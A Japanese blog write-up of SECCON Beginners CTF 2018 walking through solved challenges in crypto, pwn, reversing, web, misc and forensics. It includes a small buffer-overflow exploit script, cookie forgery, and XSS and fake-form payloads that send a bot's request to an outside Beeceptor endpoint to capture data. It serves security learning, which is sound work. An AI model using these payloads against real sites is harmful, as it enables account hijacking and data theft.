SECCON Beginners CTF 2018 write-up
SECCON Beginners CTF 2018に参加しました!
CTFにちゃんと参加したのは初めてだったので腕試しとしてソロで参加してました。
reversingとpwnは完全に力不足を痛感したけど、他は割と奮闘できたんじゃないかと思う。
以下は、コンテスト中に解けた問題のwrite-upを書いていきます。
解法というよりは解くまでの思考の流れです。
Crypt, Pwn, Reversing, Web, Cryptの順。
付け焼き刃の知識とその場のググりで解いた感じなので、王道的な解き方とは逸れているかもしれない。
[Warmup] Veni, vidi, vici 51Pt | Crypto
zipファイルが与えられるので解凍
$ unzip veni_vidi_vici_e95fe3cb7932bfe5c017f018940652d0c0876fc8.zip
3つテキストファイル(part1, part2, part3)が出てくる
- part1:
Gur svefg cneg bs gur synt vf: pgs4o{a0zber
- part2:
Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u
- part3:
{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥
part1, part2はぱっと見シーザー暗号っぽいので素直に復号。part1はgs4o{
の箇所がctf4b{
になるはずなので文字のシフト数がわかる。同じ流れでpart2もLzw
がThe
になるはずなのでこれも復号できる。part3は逆さで読めばそのまま。
The first part of the flag is: ctf4b{n0more The second part of the flag is: _cLass!cal_c The third part of the flag is: Rypt0graphy}
RSA is Power 103Pt | Crypto
N = 97139961312384239075080721131188244842051515305572003521287545456189235939577 E = 65537 C = 77361455127455996572404451221401510145575776233122006907198858022042920987316
RSAの公開鍵N
とE
が与えられるのでそこから秘密鍵(N
の素因数分解)を特定して'C'を復号する問題
普通公開鍵の情報だけだと秘密鍵はわからない(現実的に不可能)はずだけど、それが問題になってるわけなので、なんらかのアルゴリズムか何かで素因数分解が容易なケースになってそう
最初は色々ぐぐってアルゴリズムを調べて実装しようとしてたけど、めんどうになって「rsa factor online」でぐぐったら良さげなのがヒットした
N
を投げたら7分30秒で素数が返ってきた。強い
あとは、RSAの計算方法に従ってC
を復号するだけ
コンテスト後に知ったけどFactorDBという素因数分解データベース的なサイトがあるらしい。ここにN
を投げたら速攻で素因数分解してくれた。やばい。ブックマークした
Streaming 133Pt | Crypto
zipファイルが与えられるので解凍
$ unzip streaming_fa5287b1a4f1a48025b4ade8aaa044866aa09d99.zip
暗号化されたファイル(encrypted)と暗号化に使用したらしきソースコード(encrypt.py)が出てくる。encryptedを復号したらフラグが降ってきそうなのでencrypt.pyの逆の作用をするコードをDで書いた
import std.stdio; import std.string; import std.conv; void main() { char[] str = readln.chomp.to!(char[]); assert(str.length%2 == 0); long T = str.length/2; long A = 37423; long B = 61781; long C = 34607; foreach(seed; 0..C) { char[] res = new char[2*T]; long g = seed; foreach(i; 0..T) { long x = str[2*i+0] + str[2*i+1]*256; long y = x ^ g; res[2*i+0] = cast(char)(y/256); res[2*i+1] = cast(char)(y%256); g = (A*g + B)%C; writeln("seed: ", seed, ", result: ", res); } } }
暗号化したときのseed
の値がわからないけど、のどれかが(結果的に)正しいので、それらすべてを試す
$ rdmd po.d < encrypted | strings | grep ctf4b
を実行すると
seed: 32186, result: ctf4b{ seed: 32186, result: ctf4b{lc seed: 32186, result: ctf4b{lcg- seed: 32186, result: ctf4b{lcg-is seed: 32186, result: ctf4b{lcg-is-e seed: 32186, result: ctf4b{lcg-is-eas seed: 32186, result: ctf4b{lcg-is-easil seed: 32186, result: ctf4b{lcg-is-easily- seed: 32186, result: ctf4b{lcg-is-easily-pr seed: 32186, result: ctf4b{lcg-is-easily-pred seed: 32186, result: ctf4b{lcg-is-easily-predic seed: 32186, result: ctf4b{lcg-is-easily-predicta seed: 32186, result: ctf4b{lcg-is-easily-predictabl seed: 32186, result: ctf4b{lcg-is-easily-predictable}
と出力される。フラグゲット
[Warmup] condition 85 | Pwn
pwnの問題は解いたことがなかったので初チャレンジ
とりあえず権限付与
$ mv condition_68187f0953551cea907c48c016f19ff200de74b4 condition $ chmod 777 condition
pwnに使えそうなコマンドやツールをぐぐってみると、ltrace, strace, objdump, gdbあたりが手軽で便利みたい
$ gdb ./condition
で動的解析をしつつ
$ objdump -D condition -M intel | less
で逆アセにかけるにかけると
40078f: 48 8d 45 d0 lea rax,[rbp-0x30] 400793: 48 89 c7 mov rdi,rax 400796: b8 00 00 00 00 mov eax,0x0 40079b: e8 80 fe ff ff call 400620 <gets@plt> 4007a0: 81 7d fc ef be ad de cmp DWORD PTR [rbp-0x4],0xdeadbeef 4007a7: 75 16 jne 4007bf <main+0x4e> 4007a9: bf f8 08 40 00 mov edi,0x4008f8 4007ae: e8 0d fe ff ff call 4005c0 <puts@plt>
あたりが怪しい。0x4007a7のところでジャンプしないように入力を与えれば良さそう
この部分を読んでみると、入力の0x2c
(= 0x30 - 0x4e
)文字目からのバイト列を0xdeadbeef
にすると通過できそう
そうなるようなsocket通信のプログラムをpythonで書いた
import socket import struct s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("pwn1.chall.beginners.seccon.jp", 16268)) s.recv(4096) buf = ('A' * 0x2c).encode(); buf += struct.pack("<I", 0xdeadbeef) buf += "\n".encode() print(buf) s.send(buf) while True: c = s.recv(4096).decode("utf-8") if len(c) == 0: break print(c)
あとは
$ python po.py
を実行すればフラグが飛んでくる
[Warmup] Simple Auth 51Pt | Reversing
与えられたzipファイルを展開。権限付与
$ unzip Simple_Auth_d6d1615ec0ca18b0e911467b58c0d8e0a4b306fa.zip $ chmod 777 simple_auth
objdumpで逆アセにかけると
4006a8: c6 45 d0 63 mov BYTE PTR [rbp-0x30],0x63 4006ac: c6 45 d1 74 mov BYTE PTR [rbp-0x2f],0x74 4006b0: c6 45 d2 66 mov BYTE PTR [rbp-0x2e],0x66 4006b4: c6 45 d3 34 mov BYTE PTR [rbp-0x2d],0x34 4006b8: c6 45 d4 62 mov BYTE PTR [rbp-0x2c],0x62 4006bc: c6 45 d5 7b mov BYTE PTR [rbp-0x2b],0x7b 4006c0: c6 45 d6 72 mov BYTE PTR [rbp-0x2a],0x72 4006c4: c6 45 d7 65 mov BYTE PTR [rbp-0x29],0x65 4006c8: c6 45 d8 76 mov BYTE PTR [rbp-0x28],0x76 4006cc: c6 45 d9 33 mov BYTE PTR [rbp-0x27],0x33 4006d0: c6 45 da 72 mov BYTE PTR [rbp-0x26],0x72 4006d4: c6 45 db 73 mov BYTE PTR [rbp-0x25],0x73 4006d8: c6 45 dc 69 mov BYTE PTR [rbp-0x24],0x69 4006dc: c6 45 dd 6e mov BYTE PTR [rbp-0x23],0x6e 4006e0: c6 45 de 67 mov BYTE PTR [rbp-0x22],0x67 4006e4: c6 45 df 5f mov BYTE PTR [rbp-0x21],0x5f 4006e8: c6 45 e0 70 mov BYTE PTR [rbp-0x20],0x70 4006ec: c6 45 e1 34 mov BYTE PTR [rbp-0x1f],0x34 4006f0: c6 45 e2 73 mov BYTE PTR [rbp-0x1e],0x73 4006f4: c6 45 e3 73 mov BYTE PTR [rbp-0x1d],0x73 4006f8: c6 45 e4 77 mov BYTE PTR [rbp-0x1c],0x77 4006fc: c6 45 e5 30 mov BYTE PTR [rbp-0x1b],0x30 400700: c6 45 e6 72 mov BYTE PTR [rbp-0x1a],0x72 400704: c6 45 e7 64 mov BYTE PTR [rbp-0x19],0x64 400708: c6 45 e8 7d mov BYTE PTR [rbp-0x18],0x7d
の部分で認証パスワードをセットしてそう。順番に対応するASCII文字を確かめるとフラグになる
[Warmup] Greeting 51Pt | Web
与えられたURLのページにフォームとサーバー側のソースコードがある
ソースコードを読むとcookieに"name=admin"
をセットすればいいことがわかる
コンソールで
document.cookie = "name=admin";
を実行したあと、ページをリロード。フラグが表示される
Gimme your comment 78Pt | Web
新規投稿のページで適当にHTMLタグを使ってみると表示に反映される。XSSが使えそう
Beeceptorというサイトでエンドポイントを作ってそこに飛ばされるスクリプトを投げてみた
<script> location.href = "http://hogehoge.proxy.beeceptor.com"; </script>
飛んできたリクエストのRequestHeaderのUser-Agentにフラグが書かれている
補足:Beeceptorはエンドポイントを簡単に作ってそこにリクエストを飛ばすことができるサイトです。前はRequestBinを使ってたんだけど最近調子が悪いみたいなのでこっちのサイトを使ってみました
Gimme your comment REVENGE 179Pt | Web
Gimme your commentのレベルアップ版
前の問題と同様にXSSを仕込もうとしてもContent Security Policy: ページの設定により次のリソースの読み込みをブロックしました: self (“default-src”) Source: 〜〜〜
のようなエラーメッセージが表示されてうまくいかない
前の問題と違う箇所を探してみたらどうやらContent-Security-Policy: default-src 'self'
というResponseHeaderが追加されている
ぐぐってみると、どうやらこれによって外部スクリプトの呼び出しを禁止しているらしい。ブラウザの対応依存になってしまうけどXSS対策としては割と強力
どうしたものかソースコードを眺めてみたら
await page.click('button[type=submit]');
の行を見つけた。type="submit"
となっているbuttonタグを探してクリックしてるっぽい
ということは、buttonタグを偽装して引っ掛けることができそうと思い、適当にhtmlのフォーム部分をコピペしてformタグのaction属性のところだけ適当なURLにした
<div id="comment_form"> <form method="post" action="http://hogehoge.proxy.beeceptor.com"> <input type="hidden" name="post_id" value="ba0e1de5a0583ea491b38474be966b3666a54adf"> <div class="form-row"> <div class="col-8"> <input type="text" class="form-control" name="comment_content" placeholder="コメントをここに"> </div> <input type="hidden" name="csrf_name" value="csrf5b0ad533b73c4"> <input type="hidden" name="csrf_value" value="f8be99e147a15165c3ff51086b58cae6"> <div class="col-auto"> <button type="submit" class="btn btn-primary mb-2">コメントを送信する</button> </div> </div> </form> </div>
飛んできたリクエストのRequestHeaderのUser-Agentにフラグが書かれている
[Warmup] Welcome 51Pt | Misc
やるだけ
[Warmup] plain mail 51Pt | Misc
$ strings packet.pcap
をやってみると
0I will send secret information. First, I will send encrypted file. Second, I wll send you the password.
kContent-Type: multipart/mixed; boundary="===============0309142026791669022==" MIME-Version: 1.0 Content-Disposition: attachment; filename="encrypted.zip" --===============0309142026791669022== Content-Type: application/octet-stream; Name="encrypted.zip" MIME-Version: 1.0 Content-Transfer-Encoding: base64 UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEE AAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsH CMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAA AABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA= --===============0309142026791669022==--
_you_are_pro_
というメールのやり取りの断片が見える。メールの流れ的に2つ目のencrypted.zipがzipファイルで3つ目の_you_are_pro_
がその解凍時のパスワード
2つ目のものはbase64でエンコードされているので適当にencrypted.txtで保存したあと
$ base64 -d encrypted.txt > encrypted.zip $ unzip encrypted.zip Archive: encrypted.zip [encrypted.zip] flag.txt password: _you_are_pro_ extracting: flag.txt $ cat flag.txt
でフラグ入手
てけいさんえくすとりーむず 55Pt | Misc
$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690
を実行すると、「100回計算して答えをかけ」と出て100問、613 + 906 =
のような計算問題が出題される。300秒でタイムアウトするので人力では無理
pythonでコードかいた
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("tekeisan-ekusutoriim.chall.beginners.seccon.jp",8690)) for _ in range(1000): c = s.recv(4096).decode("utf-8") if len(c) == 0: break lines = c.splitlines() for line in lines: print(line) if "=" in c: ans = eval(lines[-1].split("=")[0]) print(ans) s.send("{}\n".format(ans).encode())
$ python po.py
を実行でフラグが返ってくる
Find the messages 66Pt | Misc
ディスクイメージが与えられるのでそこからフラグを見つけ出す問題
実際にmountしてから色々調べるんだろうけどbinwalk, foremostを駆使したらそれっぽいファイルが3つ出てきた
$ 7z x disk.img_de4d3f06696ce78c1646ed140a0ca4e5fbe4c0aa.7z $ binwalk -e disk.img $ cd _disk.img.extracted $ foremost 100000.ext
- ./ext-root/message1/message_1_of_3.txt
- ./ext-root/message2/message_2_of_3.png
- ./output/pdf/00016898.pdf
message_1_of_3.txt
Y3RmNGJ7eTB1X3QwdWNoZWQ=
なのでbase64っぽい
$ base64 -d message_1_of_3.txt
を実行するとctf4b{y0u_t0uched
と出力される
message_2_of_3.png
拡張子は.pngだけどfileコマンドで確かめてみると
message_2_of_3.png: data
と出力される。hexeditでバイナリを見てみるとものすごくpngっぽい
一行目の
00000000 58 58 58 58 58 58 58 58 00 00 00 0D 49 48 44 52 XXXXXXXX....IHDR
がいかにも怪しい。pngのフォーマットをググると先頭のヘッダは
89 50 4E 47 0D 0A 1A 0A
のようなので、xxxxxxxxのところを編集する
再びfileコマンドで確かめるとpngファイルと認識してくれて、開いてみると
_a_part_of_
の書かれた画像が表示される
00016898.pdf
適当なpdf viewerで開くと
disk_image_for3nsics}
が見れる。ちなみにファイルのタイトルがmessage_3_of_3.pdfとなっている
以上の結果からフラグを入手